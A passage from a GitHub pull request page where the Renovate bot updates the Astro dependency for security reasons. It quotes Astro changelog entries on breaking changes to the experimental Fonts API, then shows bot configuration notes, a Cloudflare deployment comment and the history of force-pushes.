    +export function registryFontProvider(config: Config): FontProvider<FamilyOptions> {
      let data: Fonts = {}
    
      return {
        name: "registry",
        config,
        init: async () => {
          data = await retrieveFonts(token);
        },
        listFonts: () => {
          return Object.keys(data);
        },
    -    resolveFont: ({ familyName, ...rest }) => {
    +    // options is typed as FamilyOptions
    +    resolveFont: ({ familyName, options, ...rest }) => {
          const fonts = data[familyName];
          if (fonts) {
            return { fonts };
          }
          return undefined;
        },
      };
    }

    Once the font provider is registered in the Astro config, types are automatically inferred:

    // astro.config.ts
    import { defineConfig } from "astro/config";
    import { registryFontProvider } from "./font-provider";
    
    export default defineConfig({
        experimental: {
            fonts: [{
                provider: registryFontProvider({
                  token: "..."
                }),
                name: "Custom",
                cssVariable: "--font-custom",
    +            options: {
    +                minimal: true
    +            }
            }]
        }
    });
  • #​15175 47ae148 Thanks @​florian-lefebvre! - BREAKING CHANGE to the experimental Fonts API only

    Updates how options are passed to the Google and Google Icons font providers when using the experimental Fonts API

    Previously, the Google and Google Icons font providers accepted options that were specific to given font families.

    These options must now be set using the options property instead. For example using the Google provider:

    import { defineConfig, fontProviders } from "astro/config";
    
    export default defineConfig({
        experimental: {
            fonts: [{
                name: 'Inter',
                cssVariable: '--astro-font-inter',
                weights: ['300 900'],
    -            provider: fontProviders.google({
    -                experimental: {
    -                    variableAxis: {
    -                        Inter: { opsz: ['14..32'] }
    -                    }
    -                }
    -            }),
    +            provider: fontProviders.google(),
    +            options: {
    +                experimental: {
    +                    variableAxis: { opsz: ['14..32'] }
    +                }
    +            }
            }]
        }
    })
  • #​15200 c0595b3 Thanks @​florian-lefebvre! - BREAKING CHANGE to the experimental Fonts API only

    Removes getFontData() exported from astro:assets with fontData when using the experimental Fonts API

    Accessing font data can be useful for advanced use cases, such as generating meta tags or Open Graph images. Before, we exposed a getFontData() helper function to retrieve the font data for a given cssVariable. That was however limiting for programmatic usages that need to access all font data.

    The getFontData() helper function is removed and replaced by a new fontData object:

    -import { getFontData } from "astro:assets";
    -const data = getFontData("--font-roboto")
    
    +import { fontData } from "astro:assets";
    +const data = fontData["--font-roboto"]

    We may reintroduce getFontData() later on


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@cloudflare-workers-and-pages
Copy link
Copy Markdown

cloudflare-workers-and-pages bot commented Nov 14, 2025

Deploying with  Cloudflare Workers  Cloudflare Workers

The latest updates on your project. Learn more about integrating Git with Workers.

Status Name Latest Commit Preview URL Updated (UTC)
✅ Deployment successful!
View logs
papermc-website a17a2b2 Commit Preview URL

Branch Preview URL
Mar 26 2026, 08:42 PM

@renovate renovate bot force-pushed the renovate/npm-astro-vulnerability branch from 25156eb to 17675ac Compare November 19, 2025 21:43
@renovate renovate bot changed the title fix(deps): update dependency astro to v5.15.6 [security] fix(deps): update dependency astro to v5.15.9 [security] Nov 19, 2025
@renovate renovate bot force-pushed the renovate/npm-astro-vulnerability branch from 17675ac to 11ff41f Compare December 31, 2025 14:44
@renovate renovate bot force-pushed the renovate/npm-astro-vulnerability branch from 11ff41f to aa31d6c Compare February 2, 2026 17:58
@renovate renovate bot force-pushed the renovate/npm-astro-vulnerability branch from aa31d6c to 97a321a Compare February 12, 2026 17:59
@renovate renovate bot force-pushed the renovate/npm-astro-vulnerability branch from 97a321a to 1d4a86f Compare March 13, 2026 11:42
@renovate renovate bot force-pushed the renovate/npm-astro-vulnerability branch from 1d4a86f to 6e66284 Compare March 26, 2026 18:57
@renovate renovate bot force-pushed the renovate/npm-astro-vulnerability branch from 6e66284 to a17a2b2 Compare March 26, 2026 20:41
@renovate renovate bot changed the title fix(deps): update dependency astro to v5.15.9 [security] fix(deps): update dependency astro to v5.18.1 [security] Mar 26, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants